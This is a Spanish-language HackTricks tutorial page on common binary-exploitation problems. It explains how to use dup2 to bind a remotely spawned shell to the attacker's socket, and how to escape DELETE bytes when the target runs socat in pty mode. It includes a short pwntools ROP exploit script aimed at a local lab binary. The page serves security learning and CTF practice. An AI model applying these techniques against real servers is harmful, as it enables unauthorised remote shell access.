# Problemas Comunes de Explotación
{% hint style="success" %}
Aprende y practica Hacking en AWS:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Aprende y practica Hacking en GCP:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}
## FDs en Explotación Remota
Cuando se envía un exploit a un servidor remoto que llama a **`system('/bin/sh')`** por ejemplo, esto se ejecutará en el proceso del servidor, y `/bin/sh` esperará entrada de stdin (FD: `0`) y mostrará la salida en stdout y stderr (FDs `1` y `2`). Por lo tanto, el atacante no podrá interactuar con el shell.
Una forma de solucionar esto es suponer que cuando el servidor se inició, creó el **FD número `3`** (para escuchar) y que luego, tu conexión estará en el **FD número `4`**. Por lo tanto, es posible usar la syscall **`dup2`** para duplicar el stdin (FD 0) y el stdout (FD 1) en el FD 4 (el de la conexión del atacante) para que sea factible contactar con el shell una vez que se ejecute.
[**Ejemplo de exploit desde aquí**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python
from pwn import *
elf = context.binary = ELF('./vuln')
p = remote('localhost', 9001)
rop = ROP(elf)
rop.raw('A' * 40)
rop.dup2(4, 0)
rop.dup2(4, 1)
rop.win()
p.sendline(rop.chain())
p.recvuntil('Thanks!\x00')
p.interactive()
```
## Socat & pty
Ten en cuenta que socat ya transfiere `stdin` y `stdout` al socket. Sin embargo, el modo `pty` **incluye caracteres DELETE**. Así que, si envías un `\x7f` ( `DELETE` -) **eliminará el carácter anterior** de tu exploit.
Para eludir esto, **el carácter de escape `\x16` debe ser precedido a cualquier `\x7f` enviado.**
**Aquí puedes** [**encontrar un ejemplo de este comportamiento**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.**
{% hint style="success" %}
Learn & practice AWS Hacking:
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
\
Learn & practice GCP Hacking:
[**HackTricks Training GCP Red Team Expert (GRTE)**
](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}